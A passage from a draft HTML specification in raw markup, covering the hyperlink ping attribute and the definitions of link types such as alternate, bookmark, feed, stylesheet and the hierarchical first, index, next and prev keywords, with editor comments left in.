class=secno>4.3.2. </span><dfn   id=following1>Following hyperlinks</dfn></h4>  <p class=big-issue><a href="#following1" title="following   hyperlinks">following hyperlinks</a> defined here</p>  <!-- XXX default action of DOMActivate -->  <!-- (doing this for 'trusted' events only must be allowed) -->  <p>If an <code><a href="#a0">a</a></code> or <code><a   href="#area0">area</a></code> hyperlink element has a <code   title=attr-hyperlink-ping><a href="#ping">ping</a></code> attribute and   the user follows the hyperlink, the user agent must take the <code   title=attr-hyperlink-ping><a href="#ping">ping</a></code> attribute's   value, strip leading and trailing <a href="#space" title="space   character">spaces</a>, split the value on sequences of spaces, treat each   resulting part as a URI (resolving relative URIs according to element's   base URI) and then should send a request to each of the resulting URIs.   This may be done in parallel with the primary request, and is independent   of the result of that request.  <p>User agents should allow the user to adjust this behaviour, for example   in conjunction with a setting that disables the sending of HTTP Referrer   headers. Based on the user's preferences, UAs may either <a   href="#ignored">ignore</a> the <code title=attr-hyperlink-ping><a   href="#ping">ping</a></code> attribute altogether, or selectively ignore   URIs in the list (e.g. ignoring any third-party URIs).  <p>For URIs that are HTTP URIs, the requests must be performed using the   POST method (with an empty entity body in the request). User agents must   ignore any entity bodies returned in the responses, but must, unless   otherwise specified by the user, honour the HTTP headers AMPERSANDmdash; in   particular, HTTP cookie headers. <a href="#refsRFC2965">[RFC2965]</a>  <p class=note>To save bandwidth, implementors might wish to consider   omitting optional headers such as <code>Accept</code> from these requests.  <p>When the <code title=attr-hyperlink-ping><a href="#ping">ping</a></code>   attribute is present, user agents should clearly indicate to the user that   following the hyperlink will also cause secondary requests to be sent in   the background, possibly including listing the actual target URIs.  <div class=note>   <p>The <code title=attr-hyperlink-ping><a href="#ping">ping</a></code>    attribute is redundant with pre-existing technologies like HTTP redirects    and JavaScript in allowing Web pages to track which off-site links are    most popular or allowing advertisers to track click-through rates.</p>   <p>However, the <code title=attr-hyperlink-ping><a    href="#ping">ping</a></code> attribute provides these advantages to the    user over those alternatives:</p>   <ul>    <li>It allows the user to see the final target URI unobscured.    <li>It allows the UA to inform the user about the out-of-band     notifications.    <li>It allows the paranoid user to disable the notifications without     losing the underlying link functionality.    <li>It allows the UA to optimise the use of available network bandwidth     so that the target page loads faster.   </ul>   <p>Thus, while it is possible to track users without this feature, authors    are encouraged to use the <code title=attr-hyperlink-ping><a    href="#ping">ping</a></code> attribute so that the user agent can improve    <!-- XXX optimise? --> the user experience.</p>   <!--   XXX need a better way to end that sentence. It's what I mean, but   it sounds kooky. -->   </div>  <h4 id=linkTypes><span class=secno>4.3.3. </span>Link types</h4>  <p>The following table summarises the link types that are defined by this   specification. This table is non-normative; the actual definitions for the   link types are given in the next few sections.  <p>In this section, the term <em>referenced document</em> refers to the   resource identified by the element representing the link, and the term   <em>current document</em> refers to the resource within which the element   representing the link finds itself.  <table>   <thead>    <tr>     <th rowspan=2>Link type     <th colspan=2>Effect on...     <th rowspan=2>Brief description    <tr>     <th><code><a href="#link0">link</a></code>     <th><code><a href="#a0">a</a></code> and <code><a      href="#area0">area</a></code>   <tbody>    <tr>     <td><code title=rel-alternate><a href="#alternate0">alternate</a></code></td>     <!-- second most used <link rel> value -->     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Gives alternate representations of the current document.    <tr>     <td><code title=rel-archives><a href="#archives0">archives</a></code>     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Provides a link to a collection of records, documents, or other      materials of historical interest.    <tr>     <td><code title=rel-author><a href="#author0">author</a></code>     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Gives a link to the current document's author.    <tr>     <td><code title=rel-bookmark><a href="#bookmark0">bookmark</a></code></td>     <!-- fourth most used <a rel> value -->     <td><em>not allowed</em>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Gives the permalink for the nearest ancestor section.    <tr>     <td><code title=rel-contact><a href="#contact0">contact</a></code></td>     <!-- 8th most used <a rel> value -->     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Gives a link to contact information for the current document.    <tr>     <td><code title=rel-external><a href="#external0">external</a></code></td>     <!-- fifth and sixth most used <a rel> value (sixth is "external nofollow") -->     <td><em>not allowed</em>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Indicates that the referenced document is not part of the same site      as the current document.    <tr>     <td><code title=rel-feed><a href="#feed0">feed</a></code>     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Gives the address of a syndication feed for the current document.    <tr>     <td><code title=rel-first><a href="#first0">first</a></code>     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Indicates that the current document is a part of a series, and that      the first document in the series is the referenced document.    <tr>     <td><code title=rel-help><a href="#help0">help</a></code>     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Provides a link to context-sensitive help.    <tr>     <td><code title=rel-icon><a href="#icon2">icon</a></code></td>     <!-- link rel="shortcut icon" and its ilk are the fourth, sixth, and ninth most used values -->     <td><a href="#links1" title="external resource link">External      Resource</a>     <td><em>not allowed</em>     <td>Imports an icon to represent the current document.    <tr>     <td><code title=rel-index><a href="#index0">index</a></code></td>     <!-- used more than "top" and "contents" on <link> (though on <a>, "contents" wins) -->     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Gives a link to the document that provides a table of contents or      index listing the current document.    <tr>     <td><code title=rel-last><a href="#last0">last</a></code>     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Indicates that the current document is a part of a series, and that      the last document in the series is the referenced document.    <tr>     <td><code title=rel-license><a href="#license0">license</a></code></td>     <!-- seventh most used <a rel> value -->     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Indicates that the current document is covered by the copyright      license described by the referenced document.    <tr>     <td><code title=rel-next><a href="#next0">next</a></code>     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Indicates that the current document is a part of a series, and that      the next document in the series is the referenced document.    <tr>     <td><code title=rel-nofollow><a href="#nofollow0">nofollow</a></code></td>     <!-- most used <a rel> value (and sixth most used is "external nofollow") -->     <td><em>not allowed</em>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Indicates that the current document's original author or publisher      does not endorse the referenced document.    <tr>     <td><code title=rel-pingback><a href="#pingback0">pingback</a></code>     <td><a href="#links1" title="external resource link">External      Resource</a>     <td><em>not allowed</em>     <td>Gives the address of the pingback server that handles pingbacks to      the current document.    <tr>     <td><code title=rel-prefetch><a href="#prefetch0">prefetch</a></code>     <td><a href="#links1" title="external resource link">External      Resource</a>     <td><em>not allowed</em>     <td>Specifies that the target resource should be pre-emptively cached.    <tr>     <td><code title=rel-prev><a href="#prev0">prev</a></code></td>     <!-- prev is used more than previous -->     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Indicates that the current document is a part of a series, and that      the previous document in the series is the referenced document.    <tr>     <td><code title=rel-search><a href="#search2">search</a></code></td>     <!-- used quite a bit -->     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Gives a link to a resource that can be used to search through the      current document and its related pages.    <tr>     <td><code title=rel-stylesheet><a      href="#stylesheet0">stylesheet</a></code></td>     <!-- most commonly used <link rel> value, variants came in 7th, 8th, 12th, 17th... -->     <td><a href="#links1" title="external resource link">External      Resource</a>     <td><em>not allowed</em>     <td>Imports a stylesheet.    <tr>     <td><code title=rel-sidebar><a href="#sidebar0">sidebar</a></code></td>     <!-- used quite a bit -->     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Specifies that the referenced document, if retrieved, is intended to      be shown in the browser's sidebar (if it has one).    <tr>     <td><code title=rel-tag><a href="#tag0">tag</a></code></td>     <!-- second and third most used <a rel> value (third is technically "category tag"). -->     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Gives a tag (identified by the given address) that applies to the      current document.    <tr>     <td><code title=rel-up><a href="#up0">up</a></code>     <td><a href="#hyperlink0" title="hyperlink link">Hyperlink</a>     <td><a href="#hyperlinks">Hyperlink</a>     <td>Provides a link to a document giving the context for the current      document.  </table>  <p>Some of the types described below list synonyms for these values. These   are to be handled as specified by user agents, but must not be used in   documents.</p>  <!--XXX  issues for rel="", etc:   rel="alternate stylesheet"   rel="script"   rel="related" // see also   which relationship combinations are allowed   what multiple values might mean (multiple <a rel="top"> in the same document)   http://www.euronet.nl/~tekelenb/WWW/LINK/   http://shift.freezope.org/konq_rellinks/development_html   http://hixie.ch/specs/html/link/001   http://hixie.ch/specs/html/link/002   http://www.hixie.ch/specs/html/metadata   what UAs are supposed to do with this   do something about http://microformats.org/wiki/rel-enclosurempt says:> "As with <a> elements, when <link> elements that use these relationships    > are present, UAs should render them. As with <a> elements, when <link>> elements that use these relationships do not exist, UAs should not> render them. UAs should not make <link> rendering any easier to hide> than <a> rendering."      -->  <h5 id=link-type><span class=secno>4.3.3.1. </span>Link type "<dfn   id=alternate0 title=rel-alternate><code>alternate</code></dfn>"</h5>  <p>The <code title=rel-alternate><a href="#alternate0">alternate</a></code>   keyword may be used with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, if the   <code title=attr-link-rel><a href="#rel">rel</a></code> attribute does not   also contain the keyword <code title=rel-stylesheet><a   href="#stylesheet0">stylesheet</a></code>, it creates a <a   href="#hyperlink0" title="hyperlink link">hyperlink</a>; but if it   <em>does</em> also contains the keyword <code title=rel-stylesheet><a   href="#stylesheet0">stylesheet</a></code>, the <code   title=rel-alternate><a href="#alternate0">alternate</a></code> keyword   instead modifies the meaning of the <code title=rel-stylesheet><a   href="#stylesheet0">stylesheet</a></code> keyword in the way described for   that keyword, and the rest of this subsection doesn't apply.  <p>The <code title=rel-alternate><a href="#alternate0">alternate</a></code>   keyword indicates that the referenced document is an alternate   representation of the current document.  <p>The nature of the referenced document is given by the <code   title=attr-hyperlink-media><a href="#media5">media</a></code>, <code   title=attr-hyperlink-hreflang><a href="#hreflang3">hreflang</a></code>,   and <code title=attr-hyperlink-type><a href="#type14">type</a></code>   attributes.  <p>If the <code title=rel-alternate><a   href="#alternate0">alternate</a></code> keyword is used with the <code   title=attr-hyperlink-media><a href="#media5">media</a></code> attribute,   it indicates that the referenced document is intended for use with the   media specified.  <p>If the <code title=rel-alternate><a   href="#alternate0">alternate</a></code> keyword is used with the <code   title=attr-hyperlink-hreflang><a href="#hreflang3">hreflang</a></code>   attribute, it indicates that the referenced document is a translation.  <p>If the <code title=rel-alternate><a   href="#alternate0">alternate</a></code> keyword is used with the <code   title=attr-hyperlink-type><a href="#type14">type</a></code> attribute, it   indicates that the referenced document is a reformulation of the current   document in the specified format.  <p>If the <code title=rel-alternate><a   href="#alternate0">alternate</a></code> keyword is used with the <code   title=attr-hyperlink-type><a href="#type14">type</a></code> attribute set   to the value <code title="">application/rss+xml</code> or the value <code   title="">application/atom+xml</code>, then the user agent must treat the   link as it would if it had the <code title=rel-feed><a   href="#feed0">feed</a></code> keyword specified as well.  <p>The <code title=rel-alternate><a href="#alternate0">alternate</a></code>   link relationship is transitive AMPERSANDmdash; that is, if a document links to   two other documents with the link type "<code title=rel-alternate><a   href="#alternate0">alternate</a></code>", then, in addition to implying   that those documents are alternative representations of the first   document, it is also implying that those two documents are alternative   representations of each other.  <h5 id=link-type0><span class=secno>4.3.3.2. </span>Link type "<dfn   id=archives0 title=rel-archives><code>archives</code></dfn>"</h5>  <p>The <code title=rel-archives><a href="#archives0">archives</a></code>   keyword may be used with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, it creates   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.  <p>The <code title=rel-archives><a href="#archives0">archives</a></code>   keyword indicates that the referenced document describes a collection of   records, documents, or other materials of historical interest.  <p class=example>A blog's index page could link to an index of the blog's   past posts with <code title="">rel="archives"</code>.  <p><strong>Synonyms</strong>: For historical reasons, user agents must also   treat the keyword "<code title="">archive</code>" like the <code   title=rel-archives><a href="#archives0">archives</a></code> keyword.  <h5 id=link-type1><span class=secno>4.3.3.3. </span>Link type "<dfn   id=author0 title=rel-author><code>author</code></dfn>"</h5>  <p>The <code title=rel-author><a href="#author0">author</a></code> keyword   may be used with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, it creates   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.  <p>For <code><a href="#a0">a</a></code> and <code><a   href="#area0">area</a></code> elements, the <code title=rel-author><a   href="#author0">author</a></code> keyword indicates that the referenced   document provides further information about the author of the section that   the element defining the hyperlink <a href="#applyToSection">applies</a>   to.  <p>For <code><a href="#link0">link</a></code> elements, the <code   title=rel-author><a href="#author0">author</a></code> keyword indicates   that the referenced document provides further information about the author   for the page as a whole.  <p class=note>The "referenced document" can be, and often is, a <code   title="">mailto:</code> URI giving the e-mail address of the author. <a   href="#refsMAILTO">[MAILTO]</a>  <p><strong>Synonyms</strong>: For historical reasons, user agents must also   treat <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements that have a <code title="">rev</code> attribute with the value   "<code>made</code>" as having the <code title=rel-author><a   href="#author0">author</a></code> keyword specified as a link   relationship.  <h5 id=link-type2><span class=secno>4.3.3.4. </span>Link type "<dfn   id=bookmark0 title=rel-bookmark><code>bookmark</code></dfn>"</h5>  <p>The <code title=rel-bookmark><a href="#bookmark0">bookmark</a></code>   keyword may be used with <code><a href="#a0">a</a></code> and <code><a   href="#area0">area</a></code> elements.  <p>The <code title=rel-bookmark><a href="#bookmark0">bookmark</a></code>   keyword gives a permalink for the nearest ancestor <code><a   href="#article0">article</a></code> element of the linking element in   question, or of <a href="#associatedSection">the section the linking   element is most closely associated with</a>, if there are no ancestor   <code><a href="#article0">article</a></code> elements.  <div class=example>   <p>The following snippet has three permalinks. A user agent could    determine which permalink applies to which part of the spec by looking at    where the permalinks are given.</p>   <pre> ... AMPERSANDlt;body>  AMPERSANDlt;h1>Example of permalinksAMPERSANDlt;/h1>  AMPERSANDlt;div id="a">   AMPERSANDlt;h2>First exampleAMPERSANDlt;/h2>   AMPERSANDlt;p>AMPERSANDlt;a href="a.html" rel="bookmark">ThisAMPERSANDlt;/a> permalink applies to   only the content from the first H2 to the second H2. The DIV isn't   exactly that section, but it roughly corresponds to it.AMPERSANDlt;/p>  AMPERSANDlt;/div>  AMPERSANDlt;h2>Second exampleAMPERSANDlt;/h2>  AMPERSANDlt;article id="b">   AMPERSANDlt;p>AMPERSANDlt;a href="b.html" rel="bookmark">ThisAMPERSANDlt;/a> permalink applies to   the outer ARTICLE element (which could be, e.g., a blog post).AMPERSANDlt;/p>   AMPERSANDlt;article id="c">    AMPERSANDlt;p>AMPERSANDlt;a href="c.html" rel="bookmark">ThisAMPERSANDlt;/a> permalink applies to    the inner ARTICLE element (which could be, e.g., a blog comment).AMPERSANDlt;/p>   AMPERSANDlt;/article>  AMPERSANDlt;/article> AMPERSANDlt;/body> ...</pre>  </div>  <h5 id=link-type3><span class=secno>4.3.3.5. </span>Link type "<dfn   id=contact0 title=rel-contact><code>contact</code></dfn>"</h5>  <p>The <code title=rel-contact><a href="#contact0">contact</a></code>   keyword may be used with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, it creates   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.  <p>For <code><a href="#a0">a</a></code> and <code><a   href="#area0">area</a></code> elements, the <code title=rel-contact><a   href="#contact0">contact</a></code> keyword indicates that the referenced   document provides further contact information for the section that the   element defining the hyperlink <a href="#applyToSection">applies</a> to.  <p>User agents must treat any hyperlink in an <code><a   href="#address0">address</a></code> element as having the <code   title=rel-contact><a href="#contact0">contact</a></code> link type   specified.  <p>For <code><a href="#link0">link</a></code> elements, the <code   title=rel-contact><a href="#contact0">contact</a></code> keyword indicates   that the referenced document provides further contact information for the   page as a whole.  <h5 id=link-type4><span class=secno>4.3.3.6. </span>Link type "<dfn   id=external0 title=rel-external><code>external</code></dfn>"</h5>  <p>The <code title=rel-external><a href="#external0">external</a></code>   keyword may be used with <code><a href="#a0">a</a></code> and <code><a   href="#area0">area</a></code> elements.  <p>The <code title=rel-external><a href="#external0">external</a></code>   keyword indicates that the link is leading to a document that is not part   of the site that the current document forms a part of.  <h5 id=link-type5><span class=secno>4.3.3.7. </span>Link type "<dfn   id=feed0 title=rel-feed><code>feed</code></dfn>"</h5>  <p>The <code title=rel-feed><a href="#feed0">feed</a></code> keyword may be   used with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, it creates   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.  <p>The <code title=rel-feed><a href="#feed0">feed</a></code> keyword   indicates that the referenced document is a syndication feed. If the <code   title=rel-alternate><a href="#alternate0">alternate</a></code> link type   is also specified, then the feed is specifically the feed for the current   document; otherwise, the feed is just a syndication feed, not necessarily   associated with a particular Web page.  <p>The first <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, or <code><a href="#area0">area</a></code> element   in the document (in tree order) that creates a hyperlink with the link   type <code title=rel-feed><a href="#feed0">feed</a></code> must be treated   as the default syndication feed for the purposes of feed autodiscovery.  <p class=note>The <code title=rel-feed><a href="#feed0">feed</a></code>   keyword is implied by the <code title=rel-alternate><a   href="#alternate0">alternate</a></code> link type in certain cases (q.v.).  <div class=example>   <p>The following two <code><a href="#link0">link</a></code> elements are    equivalent: both give the syndication feed for the current page:</p>   <pre>AMPERSANDlt;link rel="alternate" type="application/atom+xml" href="data.xml"></pre>   <pre>AMPERSANDlt;link rel="feed alternate" href="data.xml"></pre>   <p>The following extract offers various different syndication feeds:</p>   <pre> AMPERSANDlt;p>You can access the planets database using Atom feeds:AMPERSANDlt;/p> AMPERSANDlt;ul>  AMPERSANDlt;li>AMPERSANDlt;a href="recently-visited-planets.xml" rel="feed">Recently Visited PlanetsAMPERSANDlt;/a>AMPERSANDlt;/li>  AMPERSANDlt;li>AMPERSANDlt;a href="known-bad-planets.xml" rel="feed">Known Bad PlanetsAMPERSANDlt;/a>AMPERSANDlt;/li>  AMPERSANDlt;li>AMPERSANDlt;a href="unexplored-planets.xml" rel="feed">Unexplored PlanetsAMPERSANDlt;/a>AMPERSANDlt;/li> AMPERSANDlt;/ul></pre>  </div>  <h5 id=link-type6><span class=secno>4.3.3.8. </span>Link type "<dfn   id=help0 title=rel-help><code>help</code></dfn>"</h5>  <p>The <code title=rel-help><a href="#help0">help</a></code> keyword may be   used with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, it creates   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.  <p>For <code><a href="#a0">a</a></code> and <code><a   href="#area0">area</a></code> elements, the <code title=rel-help><a   href="#help0">help</a></code> keyword indicates that the referenced   document provides further help information for the parent of the element   defining the hyperlink, and its children.  <div class=example>   <p>In the following example, the form control has associated    context-sensitive help. The user agent could use this information, for    example, displaying the referenced document if the user presses the    "Help" or "F1" key.</p>   <pre> AMPERSANDlt;p>AMPERSANDlt;label> Topic: AMPERSANDlt;input name=topic> AMPERSANDlt;a href="help/topic.html" rel="help">(Help)AMPERSANDlt;/a>AMPERSANDlt;/label>AMPERSANDlt;/p></pre>  </div>  <p>For <code><a href="#link0">link</a></code> elements, the <code   title=rel-help><a href="#help0">help</a></code> keyword indicates that the   referenced document provides help for the page as a whole.  <h5 id=link-type7><span class=secno>4.3.3.9. </span>Link type "<dfn   id=icon2 title=rel-icon><code>icon</code></dfn>"</h5>  <p>The <code title=rel-icon><a href="#icon2">icon</a></code> keyword may be   used with <code><a href="#link0">link</a></code> elements, for which it   creates an <a href="#links1" title="external resource link">external   resource link</a>.  <p>The specified resource is an icon representing the page or site, and   should be used by the user agent when representing the page in the user   interface.  <p>Icons could be auditory icons, visual icons, or other kinds of icons. If   multiple icons are provided, the user agent must select the most   appropriate icon according to the <code title=attr-link-media><a   href="#media">media</a></code> attribute.  <h5 id=link-type8><span class=secno>4.3.3.10. </span>Link type "<dfn   id=license0 title=rel-license><code>license</code></dfn>"</h5>  <p>The <code title=rel-license><a href="#license0">license</a></code>   keyword may be used with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, it creates   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.  <p>The <code title=rel-license><a href="#license0">license</a></code>   keyword indicates that the referenced document provides the copyright   license terms under which the current document is provided.  <p><strong>Synonyms</strong>: For historical reasons, user agents must also   treat the keyword "<code title="">copyright</code>" like the <code   title=rel-license><a href="#license0">license</a></code> keyword.  <h5 id=link-type9><span class=secno>4.3.3.11. </span>Link type "<dfn   id=nofollow0 title=rel-nofollow><code>nofollow</code></dfn>"</h5>  <p>The <code title=rel-nofollow><a href="#nofollow0">nofollow</a></code>   keyword may be used with <code><a href="#a0">a</a></code> and <code><a   href="#area0">area</a></code> elements.  <p>The <code title=rel-nofollow><a href="#nofollow0">nofollow</a></code>   keyword indicates that the link is not endorsed by the original author or   publisher of the page.  <h5 id=link-type10><span class=secno>4.3.3.12. </span>Link type "<dfn   id=pingback0 title=rel-pingback><code>pingback</code></dfn>"</h5>  <p>The <code title=rel-pingback><a href="#pingback0">pingback</a></code>   keyword may be used with <code><a href="#link0">link</a></code> elements,   for which it creates an <a href="#links1" title="external resource   link">external resource link</a>.  <p>For the semantics of the <code title=rel-pingback><a   href="#pingback0">pingback</a></code> keyword, see the Pingback 1.0   specification. <a href="#refsPINGBACK">[PINGBACK]</a>  <h5 id=link-type11><span class=secno>4.3.3.13. </span>Link type "<dfn   id=prefetch0 title=rel-prefetch><code>prefetch</code></dfn>"</h5>  <p>The <code title=rel-prefetch><a href="#prefetch0">prefetch</a></code>   keyword may be used with <code><a href="#link0">link</a></code> elements,   for which it creates an <a href="#links1" title="external resource   link">external resource link</a>.  <p>The <code title=rel-prefetch><a href="#prefetch0">prefetch</a></code>   keyword indicates that preemptively fetching and caching the specified   resource is likely to be beneficial, as it is highly likely that the user   will require this resource.  <h5 id=link-type12><span class=secno>4.3.3.14. </span>Link type "<dfn   id=search2 title=rel-search><code>search</code></dfn>"</h5>  <p>The <code title=rel-search><a href="#search2">search</a></code> keyword   may be used with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, it creates   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.  <p>The <code title=rel-search><a href="#search2">search</a></code> keyword   indicates that the referenced document provides an interface specifically   for searching the document and its related resources.  <h5 id=link-type13><span class=secno>4.3.3.15. </span>Link type "<dfn   id=stylesheet0 title=rel-stylesheet><code>stylesheet</code></dfn>"</h5>  <p>The <code title=rel-stylesheet><a   href="#stylesheet0">stylesheet</a></code> keyword may be used with   <code><a href="#link0">link</a></code> elements, for which it creates an   <a href="#links1" title="external resource link">external resource   link</a>.  <p>The specified resource is a resource that describes how to present the   document. Exactly how the resource is to be processed depends on the   actual type of the resource.  <p>If the <code title=rel-alternate><a   href="#alternate0">alternate</a></code> keyword is also specified on the   <code><a href="#link0">link</a></code> element, then the link is an   alternate stylesheet.  <p class=big-issue>Need more here -- defining preferred stylesheets,   alternate stylesheets, persistent stylesheets, and the stuff about the   alternate stylesheet API. Maybe this should all be deferred to another   processing model section.  <h5 id=link-type14><span class=secno>4.3.3.16. </span>Link type "<dfn   id=sidebar0 title=rel-sidebar><code>sidebar</code></dfn>"</h5>  <p>The <code title=rel-sidebar><a href="#sidebar0">sidebar</a></code>   keyword may be used with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, it creates   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.  <p>The <code title=rel-sidebar><a href="#sidebar0">sidebar</a></code>   keyword indicates that the referenced document, if retrieved, is intended   to be shown in a secondary browsing context (if possible), instead of in   the current browsing context.  <h5 id=link-type15><span class=secno>4.3.3.17. </span>Link type "<dfn   id=tag0 title=rel-tag><code>tag</code></dfn>"</h5>  <p>The <code title=rel-tag><a href="#tag0">tag</a></code> keyword may be   used with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, it creates   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.  <p>The <code title=rel-tag><a href="#tag0">tag</a></code> keyword indicates   that the <em>tag</em> that the referenced document represents applies to   the current document.  <h5 id=hierarchical><span class=secno>4.3.3.18. </span>Hierarchical link   types</h5>  <p>Some documents form part of a hierarchical structure of documents.  <p>A hierarchical structure of documents is one where each document can   have various subdocuments. A subdocument is said to be a <em>child</em> of   the document it is a subdocument of. The document of which it is a   subdocument is said to be its <em>parent</em>. The children of a document   have a relative order; the subdocument that precedes another is its   <em>previous sibling</em>, and the one that follows it is its <em>next   sibling</em>. A document with no parent forms the top of the hierarchy.  <h6 id=link-type16><span class=secno>4.3.3.18.1. </span>Link type "<dfn   id=first0 title=rel-first><code>first</code></dfn>"</h6>  <p>The <code title=rel-first><a href="#first0">first</a></code> keyword may   be used with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, it creates   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.  <p>The <code title=rel-first><a href="#first0">first</a></code> keyword   indicates that the document is part of a hierarchical structure, and that   the link is leading to the document that is the first child of the current   document's parent document.  <p><strong>Synonyms</strong>: For historical reasons, user agents must also   treat the keywords "<code title="">begin</code>" and "<code   title="">start</code>" like the <code title=rel-first><a   href="#first0">first</a></code> keyword.  <h6 id=link-type17><span class=secno>4.3.3.18.2. </span>Link type "<dfn   id=index0 title=rel-index><code>index</code></dfn>"</h6>  <p>The <code title=rel-index><a href="#index0">index</a></code> keyword may   be used with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, it creates   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.  <p>The <code title=rel-index><a href="#index0">index</a></code> keyword   indicates that the document is part of a hierarchical structure, and that   the link is leading to the document that is the top of the hierarchy.  <p><strong>Synonyms</strong>: For historical reasons, user agents must also   treat the keywords "<code title="">top</code>", "<code   title="">contents</code>", and "<code title="">toc</code>" like the <code   title=rel-index><a href="#index0">index</a></code> keyword.  <h6 id=link-type18><span class=secno>4.3.3.18.3. </span>Link type "<dfn   id=last0 title=rel-last><code>last</code></dfn>"</h6>  <p>The <code title=rel-last><a href="#last0">last</a></code> keyword may be   used with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, it creates   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.  <p>The <code title=rel-last><a href="#last0">last</a></code> keyword   indicates that the document is part of a hierarchical structure, and that   the link is leading to the document that is the last child of the current   document's parent document.  <p><strong>Synonyms</strong>: For historical reasons, user agents must also   treat the keyword "<code title="">end</code>" like the <code   title=rel-last><a href="#last0">last</a></code> keyword.  <h6 id=link-type19><span class=secno>4.3.3.18.4. </span>Link type "<dfn   id=next0 title=rel-next><code>next</code></dfn>"</h6>  <p>The <code title=rel-next><a href="#next0">next</a></code> keyword may be   used with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, it creates   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.  <p>The <code title=rel-next><a href="#next0">next</a></code> keyword   indicates that the document is part of a hierarchical structure, and that   the link is leading to the document that is the next sibling of the   current document.  <h6 id=link-type20><span class=secno>4.3.3.18.5. </span>Link type "<dfn   id=prev0 title=rel-prev><code>prev</code></dfn>"</h6>  <p>The <code title=rel-prev><a href="#prev0">prev</a></code> keyword may be   used with <code><a href="#link0">link</a></code>, <code><a   href="#a0">a</a></code>, and <code><a href="#area0">area</a></code>   elements. For <code><a href="#link0">link</a></code> elements, it creates   a <a href="#hyperlink0" title="hyperlink link">hyperlink</a>.  <p>The <code title=rel-prev><a href="#prev0">prev</a></code> keyword   indicates that the document is part of a hierarchical structure, and that   the link is leading to the document that is the previous sibling of the   current document.  <p><strong>Synonyms</strong>: For historical reasons, user agents must also   treat the keyword "<code title="">previous</code>" like the <code   title=rel-prev><a href="#prev0">prev</a></code> keyword.  <h6 id=link-type21><span class=secno>4.3.3.18.6. </span>Link type 